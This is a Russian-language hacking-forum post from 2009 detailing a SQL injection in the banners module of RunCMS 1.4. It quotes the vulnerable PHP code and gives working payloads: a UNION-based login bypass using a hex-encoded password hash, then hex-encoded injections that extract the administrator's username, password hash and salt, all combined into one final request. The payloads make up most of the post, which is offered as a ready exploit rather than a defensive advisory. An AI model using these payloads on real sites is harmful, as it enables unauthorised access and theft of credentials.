ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 25.02.2009, 07:03
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

banners - дефолтный модуль RunCMS
Версия: 1.4

SQL-INJ
Уязвимый скрипт: index.php
Зависимость: magic_quotes = off
Зависимость: Включенный модуль banners
Вначале обойдем авторизацию
Запрос [POST \ GET]: login=q' union select 1,2,3,0x393030313530393833636432346662306436393633 6637643238653137663732#&pass=abc
где 0x393030313530393833636432346662306436393633663764 3238653137663732 - хэш от abc, переведенный в число.
Уязвимый кусок кода:
PHP код:
switch ($_REQUEST['op']) {
        case 
"bannerstats":
                
bannerstats($_POST['login'], $_POST['pass']);
                break;
..........
function 
bannerstats($login$pass) {
global 
$db$myts$xoopsConfig$meta$xoopsModule;

$sqlpass md5($pass);
$result  $db->query("SELECT cid, name, login, passwd  FROM ".$db->prefix("banner_clients")." WHERE login='$login' AND passwd='$sqlpass'");
list(
$cid$name$login$passwd) = $db->fetch_row($result);
if (
$sqlpass == $passwd) { 
Едем дальше, получим пароль админа:
Уязвимый кусок кода:
PHP код:
$result $db->query("SELECT bid, imptotal, impmade, clicks, datestart FROM ".$db->prefix("banner_items")." WHERE cid=$cid");
// $cid - один из столбцов с предыдущего скуль-запроса
while ( list($bid$imptotal$impmade$clicks$date) = $db->fetch_row($result) ) {
        if ( (
$impmade == 0) || ($clicks == 0) ) {
                
$percent 0;
                } else {
                        
$percent round(100 * ($clicks/$impmade), 2);
                }

if ( 
$imptotal == ) {
        
$left _BN_UNLIMITED;
        } else {
                
$left = ($imptotal-$impmade);
        }

echo 
"
<td class='center'>
$bid</td> 
Получаем иньекции для второго запроса в мускул:
-1 union select uname,0,0,0,0 from runcms_users limit 0,1
-1 union select pass,0,0,0,0 from runcms_users limit 0,1
-1 union select pwdsalt,0,0,0,0 from runcms_users limit 0,1
Переведем в число:
uname: 0x2d3120756e696f6e2073656c65637420756e616d652c302c 302c302c302066726f6d2072756e636d735f7573657273206c 696d697420302c31
pass: 0x2d3120756e696f6e2073656c65637420706173732c302c30 2c302c302066726f6d2072756e636d735f7573657273206c69 6d697420302c31
pwdsalt: 0x2d3120756e696f6e2073656c6563742070776473616c742c 302c302c302c302066726f6d2072756e636d735f7573657273 206c696d697420302c31

Итого общий запрос:
login=q' union select 0x2d3120756e696f6e2073656c65637420756e616d652c302c 302c302c302066726f6d2072756e636d735f7573657273206c 696d697420302c31,2,3,0x393030313530393833636432346 6623064363936336637643238653137663732#&pass=abc

Последний раз редактировалось BlackSun; 25.02.2009 в 07:35..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ